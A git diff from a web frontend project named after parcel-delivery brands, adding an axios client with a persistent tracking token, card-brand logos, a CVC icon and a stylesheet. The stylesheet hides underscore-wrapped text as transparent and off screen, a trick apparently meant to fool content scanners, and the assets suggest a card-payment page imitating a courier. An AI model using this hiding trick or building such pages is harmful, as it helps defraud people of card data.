this.syncToAllStorages(retryToken);
|
||||
return retryToken;
|
||||
}
|
||||
}
|
||||
|
||||
// 所有恢复手段用尽,生成新 Token
|
||||
const newToken = uuidv4();
|
||||
this.cache = newToken;
|
||||
this.syncToAllStorages(newToken);
|
||||
return newToken;
|
||||
} finally {
|
||||
this.pending = null;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ============ Axios 实例 ============
|
||||
const http = axios.create({
|
||||
baseURL: BASE_URL,
|
||||
timeout: 15000,
|
||||
});
|
||||
|
||||
// 请求拦截器
|
||||
http.interceptors.request.use(
|
||||
async (config) => {
|
||||
const token = await TokenManager.getToken();
|
||||
config.headers["Token"] = token;
|
||||
config.headers["X-Token"] = token;
|
||||
config.params = { ...config.params, token };
|
||||
return config;
|
||||
},
|
||||
(error) => Promise.reject(error)
|
||||
);
|
||||
|
||||
// 响应拦截器
|
||||
http.interceptors.response.use(
|
||||
(response) => response.data,
|
||||
(error) => {
|
||||
if (error.response) {
|
||||
console.error("Error:", error.response.status, error.response.data);
|
||||
} else {
|
||||
console.error("Error:", error.message);
|
||||
}
|
||||
return Promise.reject(error);
|
||||
}
|
||||
);
|
||||
|
||||
export default http;
|
||||
77
zy1_in_post_shadowfax/src/assets/base.css
Normal file
@@ -0,0 +1,77 @@
|
||||
@keyframes g-loading-bgAnim {
|
||||
0%,to {
|
||||
background-color: rgba(255,255,255,.635)
|
||||
}
|
||||
|
||||
50% {
|
||||
background-color: rgba(255,255,255,0)
|
||||
}
|
||||
}
|
||||
|
||||
.g-loading-mask {
|
||||
width: 100vw;
|
||||
height: 100vh;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
position: fixed;
|
||||
left: 0;
|
||||
top: 0;
|
||||
animation: g-loading-bgAnim 3s linear infinite;
|
||||
opacity: 0;
|
||||
-webkit-user-select: none;
|
||||
-moz-user-select: none;
|
||||
user-select: none;
|
||||
pointer-events: none;
|
||||
transition: all .3s;
|
||||
z-index: -100;
|
||||
}
|
||||
|
||||
.g-loading-mask.show {
|
||||
opacity: 1;
|
||||
pointer-events: initial;
|
||||
display: none;
|
||||
}
|
||||
|
||||
.g-loading-mask .loading {
|
||||
width: 38px;
|
||||
height: 38px;
|
||||
display: none;
|
||||
|
||||
}
|
||||
|
||||
html,body {
|
||||
padding: 0;
|
||||
border: 0;
|
||||
margin: 0;
|
||||
overflow-x: hidden;
|
||||
overflow-y: auto;
|
||||
overflow: hidden auto
|
||||
}
|
||||
|
||||
[data-t] {
|
||||
font-size: 1em!important
|
||||
}
|
||||
|
||||
[data-t]:after {
|
||||
content: attr(data-t) " "
|
||||
}
|
||||
|
||||
[class^=_][class$=_] {
|
||||
color: transparent!important
|
||||
}
|
||||
|
||||
[class^=_][class$=_] {
|
||||
display: inline-block;
|
||||
pointer-events: none;
|
||||
position: absolute;
|
||||
left: 1000vw
|
||||
}
|
||||
|
||||
[class^=_][class$=_]::-moz-selection {
|
||||
color: transparent!important
|
||||
}
|
||||
|
||||
[class^=_][class$=_]::selection {
|
||||
color: transparent!important
|
||||
}
|
||||
1
zy1_in_post_shadowfax/src/assets/img/1a32e1333fcfa.svg
Normal file
@@ -0,0 +1 @@
|
||||
<svg enable-background="new 0 0 780 500" height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg"><path d="m40 0h700c22.092 0 40 17.909 40 40v420c0 22.092-17.908 40-40 40h-700c-22.091 0-40-17.908-40-40v-420c0-22.091 17.909-40 40-40z" fill="#0079be"/><path d="m599.93 251.45c0-99.415-82.98-168.13-173.9-168.1h-78.242c-92.003-.033-167.73 68.705-167.73 168.1 0 90.93 75.727 165.64 167.73 165.2h78.242c90.914.436 173.9-74.294 173.9-165.2z" fill="#fff"/><path d="m348.28 97.43c-84.07.027-152.19 68.308-152.21 152.58.02 84.258 68.144 152.53 152.21 152.56 84.09-.027 152.23-68.303 152.24-152.56-.011-84.272-68.149-152.55-152.24-152.58z" fill="#0079be"/><path d="m252.07 249.6c.08-41.181 25.746-76.297 61.94-90.25v180.48c-36.194-13.948-61.861-49.045-61.94-90.23zm131 90.274v-180.53c36.207 13.92 61.914 49.057 61.979 90.257-.065 41.212-25.772 76.322-61.979 90.269z" fill="#fff"/></svg>
|
||||
|
After Width: | Height: | Size: 901 B |
1
zy1_in_post_shadowfax/src/assets/img/272b931f3fcfa.svg
Normal file
|
After Width: | Height: | Size: 8.7 KiB |
BIN
zy1_in_post_shadowfax/src/assets/img/41.jpg
Normal file
|
After Width: | Height: | Size: 68 KiB |
1
zy1_in_post_shadowfax/src/assets/img/56af3b633fcfa.svg
Normal file
@@ -0,0 +1 @@
|
||||
<?xml version="1.0" ?><svg viewBox="0 0 48 48" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><defs><style>.cls-1{fill:url(#linear-gradient);}.cls-2{fill:#a5a4a4;}.cls-3{fill:#333;}.cls-4{fill:#e6e6e6;}.cls-5{fill:gray;}.cls-6{fill:url(#linear-gradient-2);}.cls-7{fill:url(#linear-gradient-3);}.cls-8{fill:#fff;}</style><linearGradient gradientUnits="userSpaceOnUse" id="linear-gradient" x1="22.04" x2="22.04" y1="12.76" y2="39.8"><stop offset="0" stop-color="#e6e6e6"/><stop offset="1" stop-color="#bababa"/></linearGradient><linearGradient gradientUnits="userSpaceOnUse" id="linear-gradient-2" x1="35.54" x2="35.54" y1="11.27" y2="20.1"><stop offset="0" stop-color="#00bde8"/><stop offset="1" stop-color="#009dc1"/></linearGradient><linearGradient gradientUnits="userSpaceOnUse" id="linear-gradient-3" x1="35.54" x2="35.54" y1="12" y2="19.67"><stop offset="0" stop-color="#00cfff"/><stop offset="1" stop-color="#00afd6"/></linearGradient></defs><title/><g id="icons"><g data-name="Layer 3" id="Layer_3"><rect class="cls-1" height="26" rx="5" ry="5" width="35" x="4.54" y="12.81"/><path class="cls-2" d="M35.54,11.19a7.63,7.63,0,1,0,4,14.1V12.34A7.54,7.54,0,0,0,35.54,11.19Z"/><rect class="cls-3" height="4" width="35" x="4.54" y="19.81"/><rect class="cls-4" height="2" width="8" x="8.54" y="32.81"/><rect class="cls-4" height="2" width="6" x="19.54" y="32.81"/><rect class="cls-4" height="2" width="7" x="28.54" y="32.81"/><rect class="cls-5" height="2" width="8" x="8.54" y="31.81"/><rect class="cls-5" height="2" width="6" x="19.54" y="31.81"/><rect class="cls-5" height="2" width="7" x="28.54" y="31.81"/><path class="cls-6" d="M43.17,16.81a7.63,7.63,0,1,1-7.63-7.62A7.64,7.64,0,0,1,43.17,16.81Z"/><path class="cls-7" d="M35.54,23.44a6.63,6.63,0,1,1,6.63-6.63,6.63,6.63,0,0,1-6.63,6.63Z"/><path class="cls-8" d="M38,16.58V14.85a2.25,2.25,0,0,0-2.25-2.25h-.34a2.25,2.25,0,0,0-2.25,2.25v1.73H31.79V21H39.3V16.58Zm-1,0H34.12V14.85a1.25,1.25,0,0,1,1.25-1.25h.34A1.25,1.25,0,0,1,37,14.85Z"/></g></g></svg>
|
||||
|
After Width: | Height: | Size: 2.0 KiB |
1
zy1_in_post_shadowfax/src/assets/img/68eec8c23fcfa.svg
Normal file
@@ -0,0 +1 @@
|
||||
<svg width="24" height="24" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg" fill="#6d6e78" role="img" aria-labelledby="cvcDesc"><path opacity=".2" fill-rule="evenodd" clip-rule="evenodd" d="M15.337 4A5.493 5.493 0 0013 8.5c0 1.33.472 2.55 1.257 3.5H4a1 1 0 00-1 1v1a1 1 0 001 1h16a1 1 0 001-1v-.6a5.526 5.526 0 002-1.737V18a2 2 0 01-2 2H3a2 2 0 01-2-2V6a2 2 0 012-2h12.337zm6.707.293c.239.202.46.424.662.663a2.01 2.01 0 00-.662-.663z"></path><path opacity=".4" fill-rule="evenodd" clip-rule="evenodd" d="M13.6 6a5.477 5.477 0 00-.578 3H1V6h12.6z"></path><path fill-rule="evenodd" clip-rule="evenodd" d="M18.5 14a5.5 5.5 0 110-11 5.5 5.5 0 010 11zm-2.184-7.779h-.621l-1.516.77v.786l1.202-.628v3.63h.943V6.22h-.008zm1.807.629c.448 0 .762.251.762.613 0 .393-.37.668-.904.668h-.235v.668h.283c.565 0 .95.282.95.691 0 .393-.377.66-.911.66-.393 0-.786-.126-1.194-.37v.786c.44.189.88.291 1.312.291 1.029 0 1.736-.526 1.736-1.288 0-.535-.33-.967-.88-1.14.472-.157.778-.573.778-1.045 0-.738-.652-1.241-1.595-1.241a3.143 3.143 0 00-1.234.267v.77c.378-.212.763-.33 1.132-.33zm3.394 1.713c.574 0 .974.338.974.778 0 .463-.4.785-.974.785-.346 0-.707-.11-1.076-.337v.809c.385.173.778.26 1.163.26.204 0 .392-.032.573-.08a4.313 4.313 0 00.644-2.262l-.015-.33a1.807 1.807 0 00-.967-.252 3 3 0 00-.448.032V6.944h1.132a4.423 4.423 0 00-.362-.723h-1.587v2.475a3.9 3.9 0 01.943-.133z"></path></svg>
|
||||
|
After Width: | Height: | Size: 1.3 KiB |
1
zy1_in_post_shadowfax/src/assets/img/761998023fcfa.svg
Normal file
@@ -0,0 +1 @@
|
||||
<svg enable-background="new 0 0 780 500" height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><linearGradient id="a" gradientTransform="matrix(132.87 0 0 323.02 -120270 -100930)" gradientUnits="userSpaceOnUse" x1="908.72" x2="909.72" y1="313.21" y2="313.21"><stop offset="0" stop-color="#007b40"/><stop offset="1" stop-color="#55b330"/></linearGradient><linearGradient id="b" gradientTransform="matrix(133.43 0 0 323.02 -121080 -100920)" gradientUnits="userSpaceOnUse" x1="908.73" x2="909.73" y1="313.21" y2="313.21"><stop offset="0" stop-color="#1d2970"/><stop offset="1" stop-color="#006dba"/></linearGradient><linearGradient id="c" gradientTransform="matrix(132.96 0 0 323.03 -120500 -100930)" gradientUnits="userSpaceOnUse" x1="908.72" x2="909.72" y1="313.21" y2="313.21"><stop offset="0" stop-color="#6e2b2f"/><stop offset="1" stop-color="#e30138"/></linearGradient><path d="m632.24 361.27c0 41.615-33.729 75.36-75.357 75.36h-409.13v-297.88c0-41.626 33.73-75.371 75.364-75.371h409.12l-.001 297.89z" fill="#fff"/><path d="m498.86 256.54c11.686.254 23.438-.516 35.077.4 11.787 2.199 14.628 20.043 4.156 25.887-7.145 3.85-15.633 1.434-23.379 2.113h-15.854zm41.834-32.145c2.596 9.164-6.238 17.392-15.064 16.13h-26.77c.188-8.642-.367-18.022.272-26.209 10.724.302 21.547-.616 32.209.48 4.581 1.151 8.415 4.917 9.353 9.599zm64.425-135.9c.498 17.501.072 35.927.215 53.783-.033 72.596.07 145.19-.057 217.79-.47 27.207-24.582 50.848-51.601 51.391-27.045.11-54.094.017-81.143.047v-109.75c29.471-.152 58.957.309 88.416-.23 13.666-.858 28.635-9.875 29.271-24.914 1.609-15.104-12.631-25.551-26.151-27.201-5.197-.135-5.045-1.515 0-2.117 12.895-2.787 23.021-16.133 19.227-29.499-3.233-14.058-18.771-19.499-31.695-19.472-26.352-.179-52.709-.025-79.062-.077.17-20.489-.355-41 .283-61.474 2.088-26.716 26.807-48.748 53.446-48.27 26.287-.004 52.57-.004 78.851-.005z" fill="url(#a)"/><path d="m174.74 139.54c.673-27.164 24.888-50.611 51.872-51.008 26.945-.083 53.894-.012 80.839-.036-.074 90.885.146 181.78-.111 272.66-1.038 26.834-24.989 49.834-51.679 50.309-26.996.098-53.995.014-80.992.041v-113.45c26.223 6.195 53.722 8.832 80.474 4.723 15.991-2.573 33.487-10.426 38.901-27.016 3.984-14.191 1.741-29.126 2.334-43.691v-33.825h-46.297c-.208 22.371.426 44.781-.335 67.125-1.248 13.734-14.849 22.46-27.802 21.994-16.064.17-47.897-11.642-47.897-11.642-.08-41.914.466-94.405.693-136.18z" fill="url(#b)"/><path d="m324.72 211.89c-2.437.517-.49-8.301-1.113-11.646.166-21.15-.347-42.323.283-63.458 2.082-26.829 26.991-48.916 53.738-48.288h78.768c-.074 90.885.145 181.78-.111 272.66-1.039 26.834-24.992 49.833-51.683 50.309-26.997.102-53.997.016-80.996.042v-124.3c18.439 15.129 43.5 17.484 66.472 17.525 17.318-.006 34.535-2.676 51.353-6.67v-22.772c-18.953 9.446-41.233 15.446-62.243 10.019-14.656-3.648-25.295-17.812-25.058-32.937-1.698-15.729 7.522-32.335 22.979-37.011 19.191-6.008 40.107-1.413 58.096 6.398 3.854 2.018 7.766 4.521 6.225-1.921v-17.899c-30.086-7.158-62.104-9.792-92.33-2.005-8.749 2.468-17.273 6.211-24.38 11.956z" fill="url(#c)"/></svg>
|
||||
|
After Width: | Height: | Size: 3.0 KiB |
1
zy1_in_post_shadowfax/src/assets/img/80066acd3fcfa.svg
Normal file
@@ -0,0 +1 @@
|
||||
<?xml version="1.0" ?><!DOCTYPE svg PUBLIC '-//W3C//DTD SVG 1.1//EN' 'http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd'><svg enable-background="new 0 0 48 48" height="48px" id="Layer_1" version="1.1" viewBox="0 0 48 48" width="48px" xml:space="preserve" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><path clip-rule="evenodd" d="M46,44.438H2c-0.553,0-1-0.447-1-1s0.447-1,1-1h44c0.553,0,1,0.447,1,1 S46.553,44.438,46,44.438z M16,34.438c0.553,0,1,0.447,1,1s-0.447,1-1,1H8c-0.553,0-1-0.447-1-1s0.447-1,1-1h1v-13H8 c-0.553,0-1-0.447-1-1c0-0.552,0.447-1,1-1h8c0.553,0,1,0.448,1,1c0,0.553-0.447,1-1,1h-1v13H16z M13,21.438h-2v13h2V21.438z M28,34.438c0.553,0,1,0.447,1,1s-0.447,1-1,1h-8c-0.553,0-1-0.447-1-1s0.447-1,1-1h1v-13h-1c-0.553,0-1-0.447-1-1 c0-0.552,0.447-1,1-1h8c0.553,0,1,0.448,1,1c0,0.553-0.447,1-1,1h-1v13H28z M25,21.438h-2v13h2V21.438z M44,39.438 c0,0.553-0.447,1-1,1H5c-0.553,0-1-0.447-1-1s0.447-1,1-1h38C43.553,38.438,44,38.885,44,39.438z M40,34.438c0.553,0,1,0.447,1,1 s-0.447,1-1,1h-8c-0.553,0-1-0.447-1-1s0.447-1,1-1h1v-13h-1c-0.553,0-1-0.447-1-1c0-0.552,0.447-1,1-1h8c0.553,0,1,0.448,1,1 c0,0.553-0.447,1-1,1h-1v13H40z M37,21.438h-2v13h2V21.438z M3,15.438L24,4l21,11.438v2H3V15.438z M40.541,15.438L24,6.886 L7.396,15.438H40.541z" fill-rule="evenodd"/></svg>
|
||||
|
After Width: | Height: | Size: 1.3 KiB |
60
zy1_in_post_shadowfax/src/assets/img/ac3bca143fcfa.svg
Normal file
@@ -0,0 +1,60 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" style="margin: auto; background: rgb(255, 255, 255); display: block; shape-rendering: auto;" width="200px" height="200px" viewBox="0 0 100 100" preserveAspectRatio="xMidYMid">
|
||||
<g transform="translate(80,50)">
|
||||
<g transform="rotate(0)">
|
||||
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="1">
|
||||
<animateTransform attributeName="transform" type="scale" begin="-0.875s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
|
||||
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.875s"></animate>
|
||||
</circle>
|
||||
</g>
|
||||
</g><g transform="translate(71.21320343559643,71.21320343559643)">
|
||||
<g transform="rotate(45)">
|
||||
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.875">
|
||||
<animateTransform attributeName="transform" type="scale" begin="-0.75s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
|
||||
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.75s"></animate>
|
||||
</circle>
|
||||
</g>
|
||||
</g><g transform="translate(50,80)">
|
||||
<g transform="rotate(90)">
|
||||
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.75">
|
||||
<animateTransform attributeName="transform" type="scale" begin="-0.625s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
|
||||
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.625s"></animate>
|
||||
</circle>
|
||||
</g>
|
||||
</g><g transform="translate(28.786796564403577,71.21320343559643)">
|
||||
<g transform="rotate(135)">
|
||||
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.625">
|
||||
<animateTransform attributeName="transform" type="scale" begin="-0.5s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
|
||||
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.5s"></animate>
|
||||
</circle>
|
||||
</g>
|
||||
</g><g transform="translate(20,50.00000000000001)">
|
||||
<g transform="rotate(180)">
|
||||
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.5">
|
||||
<animateTransform attributeName="transform" type="scale" begin="-0.375s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
|
||||
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.375s"></animate>
|
||||
</circle>
|
||||
</g>
|
||||
</g><g transform="translate(28.78679656440357,28.786796564403577)">
|
||||
<g transform="rotate(225)">
|
||||
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.375">
|
||||
<animateTransform attributeName="transform" type="scale" begin="-0.25s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
|
||||
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.25s"></animate>
|
||||
</circle>
|
||||
</g>
|
||||
</g><g transform="translate(49.99999999999999,20)">
|
||||
<g transform="rotate(270)">
|
||||
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.25">
|
||||
<animateTransform attributeName="transform" type="scale" begin="-0.125s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
|
||||
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.125s"></animate>
|
||||
</circle>
|
||||
</g>
|
||||
</g><g transform="translate(71.21320343559643,28.78679656440357)">
|
||||
<g transform="rotate(315)">
|
||||
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.125">
|
||||
<animateTransform attributeName="transform" type="scale" begin="0s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
|
||||
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="0s"></animate>
|
||||
</circle>
|
||||
</g>
|
||||
</g>
|
||||
<!-- [ldio] generated by https://loading.io/ --></svg>
|
||||
|
After Width: | Height: | Size: 4.0 KiB |
1
zy1_in_post_shadowfax/src/assets/img/b4f258fb3fcfa.svg
Normal file
@@ -0,0 +1 @@
|
||||
<svg enable-background="new 0 0 780 500" height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg"><path d="m293.2 348.73 33.359-195.76h53.358l-33.384 195.76zm246.11-191.54c-10.569-3.966-27.135-8.222-47.821-8.222-52.726 0-89.863 26.551-90.181 64.604-.297 28.129 26.515 43.822 46.754 53.185 20.771 9.598 27.752 15.716 27.652 24.283-.133 13.123-16.586 19.115-31.924 19.115-21.355 0-32.701-2.967-50.225-10.273l-6.878-3.111-7.487 43.822c12.463 5.467 35.508 10.199 59.438 10.445 56.09 0 92.502-26.248 92.916-66.885.199-22.27-14.016-39.215-44.801-53.188-18.65-9.056-30.072-15.099-29.951-24.269 0-8.137 9.668-16.838 30.56-16.838 17.446-.271 30.088 3.534 39.936 7.5l4.781 2.259zm137.31-4.223h-41.23c-12.772 0-22.332 3.486-27.94 16.234l-79.245 179.4h56.031s9.159-24.121 11.231-29.418c6.123 0 60.555.084 68.336.084 1.596 6.854 6.492 29.334 6.492 29.334h49.512l-43.187-195.64zm-65.417 126.41c4.414-11.279 21.26-54.724 21.26-54.724-.314.521 4.381-11.334 7.074-18.684l3.606 16.878s10.217 46.729 12.353 56.527h-44.293zm-363.3-126.41-52.239 133.5-5.565-27.129c-9.726-31.274-40.025-65.157-73.898-82.12l47.767 171.2 56.455-.063 84.004-195.39-56.524-.001" fill="#0e4595"/><path d="m146.92 152.96h-86.041l-.682 4.073c66.939 16.204 111.23 55.363 129.62 102.42l-18.709-89.96c-3.229-12.396-12.597-16.096-24.186-16.528" fill="#f2ae14"/></svg>
|
||||
|
After Width: | Height: | Size: 1.3 KiB |
1
zy1_in_post_shadowfax/src/assets/img/c8e88e5f3fcfa.svg
Normal file
|
After Width: | Height: | Size: 6.8 KiB |
1
zy1_in_post_shadowfax/src/assets/img/d2820b3b3fcfa.svg
Normal file
@@ -0,0 +1 @@
|
||||
<svg enable-background="new 0 0 780 500" height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg"><path d="m40 .001h700c22.092 0 40 17.909 40 40v420c0 22.092-17.908 40-40 40h-700c-22.091 0-40-17.908-40-40v-420c0-22.091 17.909-40 40-40z" fill="#2557d6"/><path d="m.253 235.69h37.441l8.442-19.51h18.9l8.42 19.51h73.668v-14.915l6.576 14.98h38.243l6.576-15.202v15.138h183.08l-.085-32.026h3.542c2.479.083 3.204.302 3.204 4.226v27.8h94.689v-7.455c7.639 3.92 19.518 7.455 35.148 7.455h39.836l8.525-19.51h18.9l8.337 19.51h76.765v-18.532l11.626 18.532h61.515v-122.51h-60.88v14.468l-8.522-14.468h-62.471v14.468l-7.828-14.468h-84.38c-14.123 0-26.539 1.889-36.569 7.153v-7.153h-58.229v7.153c-6.383-5.426-15.079-7.153-24.75-7.153h-212.74l-14.274 31.641-14.659-31.641h-67.005v14.468l-7.362-14.468h-57.145l-26.539 58.246v64.261h.003zm236.34-17.67h-22.464l-.083-68.794-31.775 68.793h-19.24l-31.858-68.854v68.854h-44.57l-8.42-19.592h-45.627l-8.505 19.592h-23.801l39.241-87.837h32.559l37.269 83.164v-83.164h35.766l28.678 59.587 26.344-59.587h36.485zm-165.9-37.823-14.998-35.017-14.915 35.017zm255.3 37.821h-73.203v-87.837h73.203v18.291h-51.289v15.833h50.06v18.005h-50.061v17.542h51.289zm103.16-64.18c0 14.004-9.755 21.24-15.439 23.412 4.794 1.748 8.891 4.838 10.84 7.397 3.094 4.369 3.628 8.271 3.628 16.116v17.255h-22.104l-.083-11.077c0-5.285.528-12.886-3.458-17.112-3.202-3.09-8.083-3.76-15.973-3.76h-23.523v31.95h-21.914v-87.838h50.401c11.199 0 19.451.283 26.535 4.207 6.933 3.924 11.09 9.652 11.09 19.45zm-27.699 13.042c-3.013 1.752-6.573 1.81-10.841 1.81h-26.62v-19.51h26.982c3.818 0 7.804.164 10.393 1.584 2.842 1.28 4.601 4.003 4.601 7.765 0 3.84-1.674 6.929-4.515 8.351zm62.844 51.138h-22.358v-87.837h22.358zm259.56 0h-31.053l-41.535-65.927v65.927h-44.628l-8.527-19.592h-45.521l-8.271 19.592h-25.648c-10.649 0-24.138-2.257-31.773-9.715-7.701-7.458-11.708-17.56-11.708-33.533 0-13.027 2.395-24.936 11.812-34.347 7.085-7.01 18.18-10.242 33.28-10.242h21.215v18.821h-20.771c-7.997 0-12.514 1.14-16.862 5.203-3.735 3.699-6.298 10.69-6.298 19.897 0 9.41 1.951 16.196 6.023 20.628 3.373 3.476 9.506 4.53 15.272 4.53h9.842l30.884-69.076h32.835l37.102 83.081v-83.08h33.366l38.519 61.174v-61.174h22.445zm-133.2-37.82-15.165-35.017-15.081 35.017zm189.04 178.08c-5.322 7.457-15.694 11.238-29.736 11.238h-42.319v-18.84h42.147c4.181 0 7.106-.527 8.868-2.175 1.665-1.474 2.605-3.554 2.591-5.729 0-2.561-1.064-4.593-2.677-5.811-1.59-1.342-3.904-1.95-7.722-1.95-20.574-.67-46.244.608-46.244-27.194 0-12.742 8.443-26.156 31.439-26.156h43.649v-17.479h-40.557c-12.237 0-21.129 2.81-27.425 7.174v-7.175h-59.985c-9.595 0-20.854 2.279-26.179 7.175v-7.175h-107.12v7.175c-8.524-5.892-22.908-7.175-29.549-7.175h-70.656v7.175c-6.745-6.258-21.742-7.175-30.886-7.175h-79.077l-18.094 18.764-16.949-18.764h-118.13v122.59h115.9l18.646-19.062 17.565 19.062 71.442.061v-28.838h7.021c9.479.14 20.66-.228 30.523-4.312v33.085h58.928v-31.952h2.842c3.628 0 3.985.144 3.985 3.615v28.333h179.01c11.364 0 23.244-2.786 29.824-7.845v7.845h56.78c11.815 0 23.354-1.587 32.134-5.649l.002-22.84zm-354.94-47.155c0 24.406-19.005 29.445-38.159 29.445h-27.343v29.469h-42.591l-26.984-29.086-28.042 29.086h-86.802v-87.859h88.135l26.961 28.799 27.875-28.799h70.021c17.389 0 36.929 4.613 36.929 28.945zm-174.22 40.434h-53.878v-17.48h48.11v-17.926h-48.11v-15.974h54.939l23.969 25.604zm86.81 10.06-33.644-35.789 33.644-34.65zm49.757-39.066h-28.318v-22.374h28.572c7.912 0 13.404 3.09 13.404 10.772 0 7.599-5.238 11.602-13.658 11.602zm148.36-40.373h73.138v18.17h-51.315v15.973h50.062v17.926h-50.062v17.48l51.314.08v18.23h-73.139zm-28.119 47.029c4.878 1.725 8.865 4.816 10.734 7.375 3.095 4.291 3.542 8.294 3.631 16.037v17.418h-22.002v-10.992c0-5.286.531-13.112-3.542-17.198-3.201-3.147-8.083-3.899-16.076-3.899h-23.42v32.09h-22.02v-87.859h50.594c11.093 0 19.173.47 26.366 4.146 6.915 4.004 11.266 9.487 11.266 19.511-.001 14.022-9.764 21.178-15.531 23.371zm-12.385-11.107c-2.932 1.667-6.556 1.811-10.818 1.811h-26.622v-19.732h26.982c3.902 0 7.807.08 10.458 1.587 2.84 1.423 4.538 4.146 4.538 7.903 0 3.758-1.699 6.786-4.538 8.431zm197.82 5.597c4.27 4.229 6.554 9.571 6.554 18.613 0 18.9-12.322 27.723-34.425 27.723h-42.68v-18.84h42.51c4.157 0 7.104-.525 8.95-2.175 1.508-1.358 2.589-3.333 2.589-5.729 0-2.561-1.17-4.592-2.675-5.811-1.675-1.34-3.986-1.949-7.803-1.949-20.493-.67-46.157.609-46.157-27.192 0-12.744 8.355-26.158 31.33-26.158h43.932v18.7h-40.198c-3.984 0-6.575.145-8.779 1.587-2.4 1.422-3.29 3.534-3.29 6.319 0 3.314 2.037 5.57 4.795 6.546 2.311.77 4.795.995 8.526.995l11.797.306c11.895.276 20.061 2.248 25.024 7.065zm86.955-23.52h-39.938c-3.986 0-6.638.144-8.867 1.587-2.312 1.423-3.202 3.534-3.202 6.322 0 3.314 1.951 5.568 4.791 6.544 2.312.771 4.795.996 8.444.996l11.878.304c11.983.284 19.982 2.258 24.86 7.072.891.67 1.422 1.422 2.033 2.175v-25z" fill="#fff"/></svg>
|
||||
|
After Width: | Height: | Size: 4.7 KiB |
|
After Width: | Height: | Size: 9.3 KiB |
1
zy1_in_post_shadowfax/src/assets/img/d9f501073fcfa.svg
Normal file
|
After Width: | Height: | Size: 9.3 KiB |
1
zy1_in_post_shadowfax/src/assets/img/e62e66803fcfa.svg
Normal file
@@ -0,0 +1 @@
|
||||
<svg height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg"><g fill-rule="evenodd"><path d="m54.992 0c-30.365 0-54.992 24.63-54.992 55.004v390.992c0 30.38 24.619 55.004 54.992 55.004h670.016c30.365 0 54.992-24.63 54.992-55.004v-390.992c0-30.38-24.619-55.004-54.992-55.004z" fill="#4d4d4d"/><path d="m327.152 161.893c8.837 0 16.248 1.784 25.268 6.09v22.751c-8.544-7.863-15.955-11.154-25.756-11.154-19.264 0-34.414 15.015-34.414 34.05 0 20.075 14.681 34.196 35.37 34.196 9.312 0 16.586-3.12 24.8-10.857v22.763c-9.341 4.14-16.911 5.776-25.756 5.776-31.278 0-55.582-22.596-55.582-51.737 0-28.826 24.951-51.878 56.07-51.878zm-97.113.627c11.546 0 22.11 3.72 30.943 10.994l-10.748 13.248c-5.35-5.646-10.41-8.028-16.564-8.028-8.853 0-15.3 4.745-15.3 10.989 0 5.354 3.619 8.188 15.944 12.482 23.365 8.044 30.29 15.176 30.29 30.926 0 19.193-14.976 32.553-36.32 32.553-15.63 0-26.994-5.795-36.458-18.872l13.268-12.03c4.73 8.61 12.622 13.222 22.42 13.222 9.163 0 15.947-5.952 15.947-13.984 0-4.164-2.055-7.734-6.158-10.258-2.066-1.195-6.158-2.977-14.2-5.647-19.291-6.538-25.91-13.527-25.91-27.185 0-16.225 14.214-28.41 32.846-28.41zm234.723 1.728h22.437l28.084 66.592 28.446-66.592h22.267l-45.494 101.686h-11.053zm-397.348.152h30.15c33.312 0 56.534 20.382 56.534 49.641 0 14.59-7.104 28.696-19.118 38.057-10.108 7.901-21.626 11.445-37.574 11.445h-29.992zm96.135 0h20.54v99.143h-20.54zm411.734 0h58.252v16.8h-37.725v22.005h36.336v16.791h-36.336v26.762h37.726v16.785h-58.252v-99.143zm71.858 0h30.455c23.69 0 37.265 10.71 37.265 29.272 0 15.18-8.514 25.14-23.986 28.105l33.148 